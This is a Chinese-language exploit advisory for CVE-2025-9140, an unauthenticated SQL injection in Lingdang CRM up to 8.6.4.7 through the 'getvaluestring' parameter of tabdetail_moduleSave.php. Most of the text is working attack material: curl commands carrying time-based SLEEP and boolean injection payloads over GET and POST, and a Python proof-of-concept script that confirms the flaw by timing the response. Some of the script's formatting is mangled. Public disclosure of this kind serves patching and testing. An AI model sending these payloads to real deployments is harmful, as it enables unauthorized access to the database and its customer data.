漏洞标题:灵当CRM 8.6.4.7 - SQL注入
Google搜索语法:不适用
日期:2025-08-19
漏洞作者:Beatriz Fresno Naumova
厂商:上海灵当信息技术有限公司
软件链接:不适用(商业产品)
版本:<= 8.6.4.7(厂商公告称在8.6.5+版本中修复)
测试环境:通用LAMP栈,PHP 7/8(PoC使用HTTP协议;无操作系统依赖)
CVE:CVE-2025-9140
摘要
端点 /crm/crmapi/erp/tabdetail_moduleSave.php 通过 ‘getvaluestring’ 参数存在SQL注入漏洞。未经身份验证的远程攻击者可以执行基于布尔和时间的盲SQL注入。厂商表示在v8.6.5+版本中通过采用参数化查询修复了此问题。
路由
/crm/crmapi/erp/tabdetail_moduleSave.php
参数
getvaluestring(GET或POST)
注意事项
* 此PoC不针对实时站点。请将TARGET替换为您拥有的实验主机。
* 演示基于时间(SLEEP)和基于布尔的payload。
— 使用curl的快速PoC(基于时间的盲注)—
在易受攻击的目标上预期约5秒的响应延迟。
GET方式:
curl -i -k “http://TARGET/crm/crmapi/erp/tabdetail_moduleSave.php?getvaluestring=’||(SELECT SLEEP(5))–+-”
POST方式:
curl -i -k -X POST “http://TARGET/crm/crmapi/erp/tabdetail_moduleSave.php”
–data “getvaluestring=’||(SELECT SLEEP(5))–+-”
— 基于布尔的示例(响应/正文差异可能因部署而异)—
curl -s -k “http://TARGET/crm/crmapi/erp/tabdetail_moduleSave.php?getvaluestring=’ OR 1=1– -” -o /tmp/true.html curl -s -k “http://TARGET/crm/crmapi/erp/tabdetail_moduleSave.php?getvaluestring=’ OR 1=2– -” -o /tmp/false.html
比较 /tmp/true.html 和 /tmp/false.html 的观察差异。
— Python 3 PoC(基于时间)—
保存为 lingdang_sqli_poc.py 并运行:python3 lingdang_sqli_poc.py http://TARGET
import sys, time, requests
def test_time_sqli(base): url_get = f"{base.rstrip(’/’)}/crm/crmapi/erp/tabdetail_moduleSave.php" payload = “’||(SELECT SLEEP(5))–+-” try: t0 = time.time() r = requests.get(url_get, params={“getvaluestring”: payload}, timeout=30, verify=False) dt = time.time() - t0 print(f"[+] GET status={r.status_code} elapsed={dt:.2f}s") if dt >= 5: print("[+] 可能通过GET存在基于时间的SQL注入漏洞。") else: print("[-] 通过GET未观察到显著延迟。") except Exception as e: print(f"[!] GET错误:{e}")
try:
t0 = time.time()
r = requests.post(url_get, data={"getvaluestring": payload}, timeout=30, verify=False)
dt = time.time() - t0
print(f"[+] POST status={r.status_code} elapsed={dt:.2f}s")
if dt >= 5:
print("[+] 可能通过POST存在基于时间的SQL注入漏洞。")
else:
print("[-] 通过POST未观察到显著延迟。")
except Exception as e:
print(f"[!] POST错误:{e}")
if name == “main”: if len(sys.argv) != 2: print(f"用法:{sys.argv[0]} http://TARGET") sys.exit(1) requests.packages.urllib3.disable_warnings() test_time_sqli(sys.argv[1])